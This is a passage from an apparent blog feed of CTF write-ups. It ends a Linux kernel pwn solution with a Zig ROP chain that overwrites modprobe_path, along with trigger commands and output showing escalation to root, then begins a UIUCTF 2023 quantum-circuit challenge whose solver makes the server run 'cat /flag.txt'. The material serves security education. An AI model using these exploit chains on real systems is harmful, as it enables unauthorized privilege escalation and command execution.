<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>0xffffffff81004d11: pop rax; ret;
</span></span><span style="display:flex;"><span>0xffffffff8100767c: pop rdi; ret;
</span></span><span style="display:flex;"><span>0xffffffff81012833: mov [rdi+0x10], r8d; ret;
</span></span><span style="display:flex;"><span>0xffffffff81012834: mov [rdi+0x10], eax; ret;</span></span></code></pre></div>

<p><a id="code-snippet--modprobe-path"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> POP_RDI<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff8100767c</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> POP_RAX<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81004d11</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> MOV_ADDROF_RDI_PLUS_16_EAX<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81012834</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> MODPROBE_PATH<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff82061820</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> KPTI_TRAMPOLINE<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81200f26</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">ropchain</span>(writer<span style="color:#00d3d0">:</span> anytype) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> writer.<span style="color:#feacd0">writeAll</span>(std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>[_]<span style="color:#6ae4b9">u64</span>{
</span></span><span style="display:flex;"><span>        POP_RAX,
</span></span><span style="display:flex;"><span>        std.mem.<span style="color:#feacd0">readInt</span>(<span style="color:#6ae4b9">u32</span>, <span style="color:#79a8ff">&#34;/tmp&#34;</span>, .little),
</span></span><span style="display:flex;"><span>        POP_RDI,
</span></span><span style="display:flex;"><span>        MODPROBE_PATH<span style="color:#00d3d0">-</span><span style="color:#00bcff">0x10</span>,
</span></span><span style="display:flex;"><span>        MOV_ADDROF_RDI_PLUS_16_EAX,
</span></span><span style="display:flex;"><span>        POP_RAX,
</span></span><span style="display:flex;"><span>        std.mem.<span style="color:#feacd0">readInt</span>(<span style="color:#6ae4b9">u32</span>, <span style="color:#79a8ff">&#34;/a&#34;</span> <span style="color:#00d3d0">++</span> <span style="color:#00d3d0">&amp;</span>[_]<span style="color:#6ae4b9">u8</span>{<span style="color:#00bcff">0</span>} <span style="color:#00d3d0">**</span> <span style="color:#00bcff">2</span>, .little),
</span></span><span style="display:flex;"><span>        POP_RDI,
</span></span><span style="display:flex;"><span>        MODPROBE_PATH<span style="color:#00d3d0">-</span><span style="color:#00bcff">0x10</span><span style="color:#00d3d0">+</span><span style="color:#00bcff">0x4</span>,
</span></span><span style="display:flex;"><span>        MOV_ADDROF_RDI_PLUS_16_EAX,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        KPTI_TRAMPOLINE,
</span></span><span style="display:flex;"><span>        <span style="color:#00bcff">0</span>, <span style="color:#a8a8a8">// junk
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        <span style="color:#00bcff">0</span>, <span style="color:#a8a8a8">// junk
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        <span style="color:#f78fe7">@intFromPtr</span>(<span style="color:#00d3d0">&amp;</span>ret2win),
</span></span><span style="display:flex;"><span>        user_cs,
</span></span><span style="display:flex;"><span>        user_rflags,
</span></span><span style="display:flex;"><span>        user_rsp,
</span></span><span style="display:flex;"><span>        user_ss,
</span></span><span style="display:flex;"><span>    }));
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">ret2win</span>() <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    std.debug.<span style="color:#feacd0">print</span>(<span style="color:#79a8ff">&#34;[INFO] You won!!</span><span style="color:#79a8ff">\n</span><span style="color:#79a8ff">&#34;</span>, .{});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> tmpa <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> std.fs.<span style="color:#feacd0">cwd</span>().<span style="color:#feacd0">createFile</span>(
</span></span><span style="display:flex;"><span>        <span style="color:#79a8ff">&#34;/tmp/a&#34;</span>, .{
</span></span><span style="display:flex;"><span>            .read <span style="color:#00d3d0">=</span> <span style="color:#00bcff">true</span>,
</span></span><span style="display:flex;"><span>            .mode <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0o777</span>,
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>    );
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> tmpa.<span style="color:#feacd0">writeAll</span>(
</span></span><span style="display:flex;"><span>        <span style="color:#79a8ff">\\#!/bin/sh</span>
</span></span><span style="display:flex;"><span>        <span style="color:#79a8ff">\\whoami &amp;&gt; /tmp/its-a-me</span>
</span></span><span style="display:flex;"><span>        <span style="color:#79a8ff">\\chmod 777 /tmp/its-a-me</span>
</span></span><span style="display:flex;"><span>    );
</span></span><span style="display:flex;"><span>    tmpa.<span style="color:#feacd0">close</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> unknown <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> std.fs.<span style="color:#feacd0">cwd</span>().<span style="color:#feacd0">createFile</span>(
</span></span><span style="display:flex;"><span>        <span style="color:#79a8ff">&#34;/tmp/unknown&#34;</span>, .{
</span></span><span style="display:flex;"><span>            .read <span style="color:#00d3d0">=</span> <span style="color:#00bcff">true</span>,
</span></span><span style="display:flex;"><span>            .mode <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0o777</span>,
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>    );
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> unknown.<span style="color:#feacd0">writeAll</span>(<span style="color:#00d3d0">&amp;</span>[_]<span style="color:#6ae4b9">u8</span>{<span style="color:#00bcff">0xff</span>}<span style="color:#00d3d0">**</span><span style="color:#00bcff">4</span>);
</span></span><span style="display:flex;"><span>    unknown.<span style="color:#feacd0">close</span>();
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>whoami
</span></span><span style="display:flex;"><span>./exploit
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># execute bogus file</span>
</span></span><span style="display:flex;"><span>/tmp/unknown &amp;&gt; /dev/null
</span></span><span style="display:flex;"><span>cat /tmp/its-a-me</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>whoami: unknown uid 1000
</span></span><span style="display:flex;"><span>[INFO] Saved state
</span></span><span style="display:flex;"><span>[INFO] Canary: 0x0743fe8b3c798800
</span></span><span style="display:flex;"><span>[INFO] Kernel base: 0xffffffff85800000
</span></span><span style="display:flex;"><span>[INFO] You won!!
</span></span><span style="display:flex;"><span>whoami: unknown uid 0</span></span></code></pre></div>

<h2 id="resources">Resources</h2>
<p>This was my first time solving a kernel pwn challenge, and I was initially quite lost as how to even approach this challenge.
I found the following resources invaluable:</p>
<dl>
<dt><a href="https://pawnyable.cafe/linux-kernel/LK01/stack_overflow.html">PAWNYABLE Holstein v1</a></dt>
<dd>Really good resource for learning the basics of kernel pwn and setting up your environment for kernel debugging.</dd>
<dt>Other kernel-rop writeups</dt>
<dd>The writeups published by <a href="https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/">Midas</a> and <a href="https://0x434b.dev/dabbling-with-linux-kernel-exploitation-ctf-challenges-to-learn-the-ropes/">0x434b</a> were super helpful for learning bypasses to different mitigations and alternative solutions to arrive at privileged code execution.</dd>
</dl>
<p>For those curious, I wrote <a href="/kernel-rop/SOLVE.org">the exploits and this post</a> using Emacs org-mode.
Taking the time to get it setup was a little annoying, but being able to run arbitrary commands in the challenge VM (not to mention compiling an exploit and regenerating the initramfs) with a single keystroke hugely improved my productivity.</p>
<p>Using Zig instead of C was also quite nice because of a (imo) much better standard library and quick compile times.
Even if using C, using <kbd>zig cc</kbd> to easily target <code>x86_64-linux-musl</code> is super convenient.</p>
<div class="rc-scout-wrapper"><div class="rc-scout" data-scout-rendered="true"><p class="rc-scout__text">
<i>This work was completed at the <i class="rc-scout__logo"></i> <a class="rc-scout__link" href="https://www.recurse.com/scout/click?t=c9ef0a055fcd2cd243ac045bc1f6dd82">Recurse Center</a>. If you want to program at the edge of your abilities, consider applying.</i>
</p></div> <style class="rc-scout__style" type="text/css">.rc-scout { display: block; padding: 0; border: 0; margin: 0; } .rc-scout__text { display: block; padding: 0; border: 0; margin: 0; height: 100%; font-size: 100%; } .rc-scout__logo { display: inline-block; padding: 0; border: 0; margin: 0; width: 0.85em; height: 0.85em; background: no-repeat center url('data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20viewBox%3D%220%200%2012%2015%22%3E%3Crect%20x%3D%220%22%20y%3D%220%22%20width%3D%2212%22%20height%3D%2210%22%20fill%3D%22%23000%22%3E%3C%2Frect%3E%3Crect%20x%3D%221%22%20y%3D%221%22%20width%3D%2210%22%20height%3D%228%22%20fill%3D%22%23fff%22%3E%3C%2Frect%3E%3Crect%20x%3D%222%22%20y%3D%222%22%20width%3D%228%22%20height%3D%226%22%20fill%3D%22%23000%22%3E%3C%2Frect%3E%3Crect%20x%3D%222%22%20y%3D%223%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%233dc06c%22%3E%3C%2Frect%3E%3Crect%20x%3D%224%22%20y%3D%223%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%233dc06c%22%3E%3C%2Frect%3E%3Crect%20x%3D%226%22%20y%3D%223%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%233dc06c%22%3E%3C%2Frect%3E%3Crect%20x%3D%223%22%20y%3D%225%22%20width%3D%222%22%20height%3D%221%22%20fill%3D%22%233dc06c%22%3E%3C%2Frect%3E%3Crect%20x%3D%226%22%20y%3D%225%22%20width%3D%222%22%20height%3D%221%22%20fill%3D%22%233dc06c%22%3E%3C%2Frect%3E%3Crect%20x%3D%224%22%20y%3D%229%22%20width%3D%224%22%20height%3D%223%22%20fill%3D%22%23000%22%3E%3C%2Frect%3E%3Crect%20x%3D%221%22%20y%3D%2211%22%20width%3D%2210%22%20height%3D%224%22%20fill%3D%22%23000%22%3E%3C%2Frect%3E%3Crect%20x%3D%220%22%20y%3D%2212%22%20width%3D%2212%22%20height%3D%223%22%20fill%3D%22%23000%22%3E%3C%2Frect%3E%3Crect%20x%3D%222%22%20y%3D%2213%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%23fff%22%3E%3C%2Frect%3E%3Crect%20x%3D%223%22%20y%3D%2212%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%23fff%22%3E%3C%2Frect%3E%3Crect%20x%3D%224%22%20y%3D%2213%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%23fff%22%3E%3C%2Frect%3E%3Crect%20x%3D%225%22%20y%3D%2212%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%23fff%22%3E%3C%2Frect%3E%3Crect%20x%3D%226%22%20y%3D%2213%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%23fff%22%3E%3C%2Frect%3E%3Crect%20x%3D%227%22%20y%3D%2212%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%23fff%22%3E%3C%2Frect%3E%3Crect%20x%3D%228%22%20y%3D%2213%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%23fff%22%3E%3C%2Frect%3E%3Crect%20x%3D%229%22%20y%3D%2212%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%23fff%22%3E%3C%2Frect%3E%3C%2Fsvg%3E'); } .rc-scout__link:link, .rc-scout__link:visited { color: #3dc06c; text-decoration: underline; } .rc-scout__link:hover, .rc-scout__link:active { color: #4e8b1d; }</style></div>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://ir0nstone.gitbook.io/notes/binexp/kernel/the-ultimate-aim-of-kernel-exploitation-process-credentials">https://ir0nstone.gitbook.io/notes/binexp/kernel/the-ultimate-aim-of-kernel-exploitation-process-credentials</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="https://tldp.org/HOWTO/Module-HOWTO/x627.html">https://tldp.org/HOWTO/Module-HOWTO/x627.html</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p><a href="https://elixir.bootlin.com/linux/v5.9-rc6/source/include/linux/export.h#L60-L64">https://elixir.bootlin.com/linux/v5.9-rc6/source/include/linux/export.h#L60-L64</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>]]></content>
    
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Schrödinger&#39;s Cat]]></title>
    <link href="https://feyor.sh/writeups/schroedingers_cat/"/>
    <id>https://feyor.sh/writeups/schroedingers_cat/</id>
    
    <author>
      <name>George Huebner</name>
    </author>
    
    <published>2023-07-12T00:00:00+00:00</published>
    <updated>2025-12-24T13:31:45-06:00</updated>
    
    
    <content type="html" xml:base="https://feyor.sh/writeups/schroedingers_cat/"><![CDATA[<p><strong>Schrödinger&rsquo;s Cat</strong> was a quantum computing misc challenge <del>repurposed</del> written for UIUCTF 2023.
The challenge had unrated difficulty and had 17 solves during the competition.</p>
<h2 id="description">Description</h2>
<blockquote>
<p>Our boss got mad that our SSH keys were weak, so now we&rsquo;re using a quantum computer to be extra secure!</p></blockquote>
<h3 id="hints">Hints</h3>
<ul>
<li>Hint 0:
There are known bugs in OpenQASM transpilation — please use Qiskit, and optimize your circuit before serialization.</li>
<li>Hint 1:
<del>Shendefraude? Bullocks I say! You&rsquo;re way off the Markov.</del> (This was a pretty terrible allusion to <a href="https://doi.org/10.1109/TCAD.2005.855930">this paper</a> that describes Qiskit&rsquo;s <kbd>StatePreparation</kbd> algorithm.)</li>
</ul>
<h3 id="files">Files</h3>
<ul>
<li><a href="https://github.com/sigpwny/UIUCTF-2023-Public/blob/main/challenges/misc/schrodingers-cat/challenge/server.py">server.py</a></li>
<li><a href="https://github.com/sigpwny/UIUCTF-2023-Public/blob/main/challenges/misc/schrodingers-cat/challenge/requirements.txt">requirements.txt</a></li>
</ul>
<h2 id="solution">Solution</h2>
<h3 id="code">Code</h3>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#b6a0ff">import</span> numpy <span style="color:#b6a0ff">as</span> np
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> base64 <span style="color:#b6a0ff">import</span> b64encode
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> qiskit <span style="color:#b6a0ff">import</span> <span style="color:#00d3d0">*</span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> qiskit.circuit.library <span style="color:#b6a0ff">import</span> StatePreparation
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> qiskit.compiler <span style="color:#b6a0ff">import</span> transpile
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">import</span> qiskit.quantum_info <span style="color:#b6a0ff">as</span> qi
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>WIRES <span style="color:#00d3d0">=</span> <span style="color:#00bcff">5</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># helper functions from challenge</span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">normalization</span>(msg):
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">assert</span>(<span style="color:#f78fe7">len</span>(msg) <span style="color:#00d3d0">&lt;=</span> WIRES<span style="color:#00d3d0">**</span><span style="color:#00bcff">2</span>)
</span></span><span style="display:flex;"><span>    state <span style="color:#00d3d0">=</span> np<span style="color:#00d3d0">.</span>array([<span style="color:#f78fe7">ord</span>(c) <span style="color:#b6a0ff">for</span> c <span style="color:#00d3d0">in</span> msg<span style="color:#00d3d0">.</span>ljust(<span style="color:#00bcff">2</span><span style="color:#00d3d0">**</span>WIRES, <span style="color:#79a8ff">&#39; &#39;</span>)])
</span></span><span style="display:flex;"><span>    norm <span style="color:#00d3d0">=</span> np<span style="color:#00d3d0">.</span>linalg<span style="color:#00d3d0">.</span>norm(state)
</span></span><span style="display:flex;"><span>    state <span style="color:#00d3d0">=</span> state <span style="color:#00d3d0">/</span> norm
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> (state, norm)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">transform</span>(sv, n):
</span></span><span style="display:flex;"><span>    legal <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">lambda</span> c: <span style="color:#f78fe7">ord</span>(<span style="color:#79a8ff">&#39; &#39;</span>) <span style="color:#00d3d0">&lt;=</span> c <span style="color:#00d3d0">and</span> c <span style="color:#00d3d0">&lt;=</span> <span style="color:#f78fe7">ord</span>(<span style="color:#79a8ff">&#39;~&#39;</span>)
</span></span><span style="display:flex;"><span>    renormalized <span style="color:#00d3d0">=</span> [<span style="color:#f78fe7">float</span>(i<span style="color:#00d3d0">.</span>real)<span style="color:#00d3d0">*</span>n <span style="color:#b6a0ff">for</span> i <span style="color:#00d3d0">in</span> sv]
</span></span><span style="display:flex;"><span>    rn_rounded <span style="color:#00d3d0">=</span> [<span style="color:#f78fe7">round</span>(i) <span style="color:#b6a0ff">for</span> i <span style="color:#00d3d0">in</span> renormalized]
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">if</span> <span style="color:#00d3d0">not</span> np<span style="color:#00d3d0">.</span>allclose(renormalized, rn_rounded, rtol<span style="color:#00d3d0">=</span><span style="color:#00bcff">0</span>, atol<span style="color:#00d3d0">=</span><span style="color:#00bcff">1e-2</span>):
</span></span><span style="display:flex;"><span>        <span style="color:#f78fe7">print</span>(<span style="color:#79a8ff">&#34;Your rehydrated statevector isn&#39;t very precise. Try adding at least 6 decimal places of precision, or contact the challenge author if you think this is a mistake.&#34;</span>)
</span></span><span style="display:flex;"><span>        <span style="color:#f78fe7">print</span>(rn_rounded)
</span></span><span style="display:flex;"><span>        exit(<span style="color:#00bcff">0</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">if</span> np<span style="color:#00d3d0">.</span>any([<span style="color:#00d3d0">not</span> legal(c) <span style="color:#b6a0ff">for</span> c <span style="color:#00d3d0">in</span> rn_rounded]):
</span></span><span style="display:flex;"><span>        <span style="color:#f78fe7">print</span>(<span style="color:#79a8ff">&#34;Invalid ASCII characters.&#34;</span>)
</span></span><span style="display:flex;"><span>        exit(<span style="color:#00bcff">0</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> <span style="color:#79a8ff">&#39;&#39;</span><span style="color:#00d3d0">.</span>join([<span style="color:#f78fe7">chr</span>(n) <span style="color:#b6a0ff">for</span> n <span style="color:#00d3d0">in</span> rn_rounded])
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">solve_qiskit</span>():
</span></span><span style="display:flex;"><span>    echo_sv, _ <span style="color:#00d3d0">=</span> normalization(<span style="color:#79a8ff">&#34;echo &#39;Hello, world!&#39;&#34;</span>)
</span></span><span style="display:flex;"><span>    cat_sv, cat_n <span style="color:#00d3d0">=</span> normalization(<span style="color:#79a8ff">&#34;cat /flag.txt&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    circ <span style="color:#00d3d0">=</span> QuantumCircuit(WIRES)
</span></span><span style="display:flex;"><span>    circ<span style="color:#00d3d0">.</span>append(StatePreparation(cat_sv, label<span style="color:#00d3d0">=</span><span style="color:#79a8ff">&#34;sp&#34;</span>), <span style="color:#f78fe7">range</span>(WIRES))
</span></span><span style="display:flex;"><span>    circ<span style="color:#00d3d0">.</span>append(StatePreparation(echo_sv, label<span style="color:#00d3d0">=</span><span style="color:#79a8ff">&#34;inv_sp&#34;</span>, inverse<span style="color:#00d3d0">=</span><span style="color:#00bcff">True</span>), <span style="color:#f78fe7">range</span>(WIRES))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a8a8a8"># append the original StatePreparation to confirm that this works; remove for payload</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a8a8a8">#circ.append(StatePreparation(echo_sv), range(WIRES))</span>
</span></span><span style="display:flex;"><span>    circ <span style="color:#00d3d0">=</span> transpile(circ, backend<span style="color:#00d3d0">=</span>Aer<span style="color:#00d3d0">.</span>get_backend(<span style="color:#79a8ff">&#34;aer_simulator&#34;</span>), optimization_level<span style="color:#00d3d0">=</span><span style="color:#00bcff">3</span>)
</span></span><span style="display:flex;"><span>    sv <span style="color:#00d3d0">=</span> qi<span style="color:#00d3d0">.</span>Statevector<span style="color:#00d3d0">.</span>from_instruction(circ)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> b64encode(circ<span style="color:#00d3d0">.</span>qasm()<span style="color:#00d3d0">.</span>encode()), cat_n
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">if</span> <span style="color:#00d3d0">__name__</span> <span style="color:#00d3d0">==</span> <span style="color:#79a8ff">&#34;__main__&#34;</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f78fe7">print</span>(solve_qiskit())</span></span></code></pre></div>
</details>

<h3 id="explanation">Explanation</h3>
<p>We connect to the challenge server and are greeted with the following:</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(<span style="color:#79a8ff">&#34;Welcome to the Quantum Secure Shell. Instead of dealing with pesky encryption, just embed your commands into our quantum computer! I batched the next command in with yours, hope you&#39;re ok with that!&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>given_sv, given_n <span style="color:#00d3d0">=</span> normalization(<span style="color:#79a8ff">&#34;echo &#39;Hello, world!&#39;&#34;</span>)
</span></span><span style="display:flex;"><span>print_given(given_sv, given_n)
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(<span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\n</span><span style="color:#79a8ff">Please type your OpenQASM circuit as a base64 encoded string: &#34;</span>)</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>Welcome to the Quantum Secure Shell. Instead of dealing with pesky encryption, just embed your commands into our quantum computer! I batched the next command in with yours, hope you&#39;re ok with that!
</span></span><span style="display:flex;"><span>     ┌─────────────────┐┌───────────────────────┐
</span></span><span style="display:flex;"><span>q_0: ┤0                ├┤0                      ├
</span></span><span style="display:flex;"><span>     │                 ││                       │
</span></span><span style="display:flex;"><span>q_1: ┤1                ├┤1                      ├
</span></span><span style="display:flex;"><span>     │                 ││                       │
</span></span><span style="display:flex;"><span>q_2: ┤2 Your Circ Here ├┤2 echo &#39;Hello, world!&#39; ├
</span></span><span style="display:flex;"><span>     │                 ││                       │
</span></span><span style="display:flex;"><span>q_3: ┤3                ├┤3                      ├
</span></span><span style="display:flex;"><span>     │                 ││                       │
</span></span><span style="display:flex;"><span>q_4: ┤4                ├┤4                      ├
</span></span><span style="display:flex;"><span>     └─────────────────┘└───────────────────────┘
</span></span><span style="display:flex;"><span>Normalization constant: 419.1873089681986
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Executing...
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Hello, world!
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Please type your OpenQASM circuit as a base64 encoded string:</span></span></code></pre></div>

<p>Taking a look at the source, we see that we input some quantum circuit which is inserted before a different circuit, and the resultant statevector is then &ldquo;unnormalized&rdquo;, interpreted as a string, and fed to <kbd>os.system</kbd>.</p>
<p>Our end goal should be to embed a string like <kbd>ls</kbd> or <kbd>cat flag.txt</kbd>; this is trivial with the <kbd>normalization</kbd> function provided.</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>cat_sv, cat_n <span style="color:#00d3d0">=</span> normalization(<span style="color:#79a8ff">&#34;cat /flag.txt&#34;</span>)
</span></span><span style="display:flex;"><span>cat_circ <span style="color:#00d3d0">=</span> StatePreparation(cat_sv, label<span style="color:#00d3d0">=</span><span style="color:#79a8ff">&#34;state_prep&#34;</span>)</span></span></code></pre></div>
</details>

<h4 id="what-is-the-normalization-constant">What is the normalization constant?</h4>
<p>The &ldquo;measurement rule&rdquo; in quantum mechanics dictates that the sum of all amplitudes squared must equal 1. In order to encode a vector of ASCII values in the circut, we first need to normalize it; to get back to the original vector, we &ldquo;undo&rdquo; the normalization by multiplying the scalar normalization constant.</p>
<p>Good news is, we didn&rsquo;t receive any mod mail on the normalization constant so&hellip; hopefully no one had any issues?</p>
<h4 id="where-s-the-measurement">Where&rsquo;s the measurement?</h4>
<p>You might be wondering how one might fit a 32 character string into 5 qubits, and more importantly; where are the measurement gates?
The output of the circuit is the <strong>statevector</strong>, which means if you were to measure the qubits instead, the probability of measuring a specific outcome would correspond to amplitudes in the statevector. Using the statevector, we&rsquo;re able to losslessly finangle lots of data into the rotation of a qubit that would otherwise be lost through measurement.</p>
<h4 id="about-statepreparation">About <kbd>StatePreparation</kbd></h4>
<p>The existing circuit embeddeds the string <kbd>echo &lsquo;Hello, world!&rsquo;</kbd> using Qiskit&rsquo;s <kbd>StatePreparation</kbd> function. This is a form of <strong>amplitude encoding</strong>, a way to encode information in the probability amplitudes of discrete quantum states.
A common point of confusion was that <kbd>StatePreparation</kbd> returns a statevector; it&rsquo;s actually an algorithm for creating a <span class="underline">circuit</span> that will transform <math xmlns="http://www.w3.org/1998/Math/MathML" alttext="\ket{0}" display="inline">
<mrow>
<mo>|</mo>
<mn>0</mn>
<mo>⟩</mo>
</mrow>
</math>
into a desired statevector.</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>circ <span style="color:#00d3d0">=</span> StatePreparation(given_sv)
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(qi<span style="color:#00d3d0">.</span>Statevector<span style="color:#00d3d0">.</span>from_instruction(circ) <span style="color:#00d3d0">==</span> qi<span style="color:#00d3d0">.</span>Statevector(given_sv))</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>True</span></span></code></pre></div>

<h4 id="hope-you-didn-t-sleep-through-linalg--i-did">Hope you didn&rsquo;t sleep through linalg (I did)</h4>
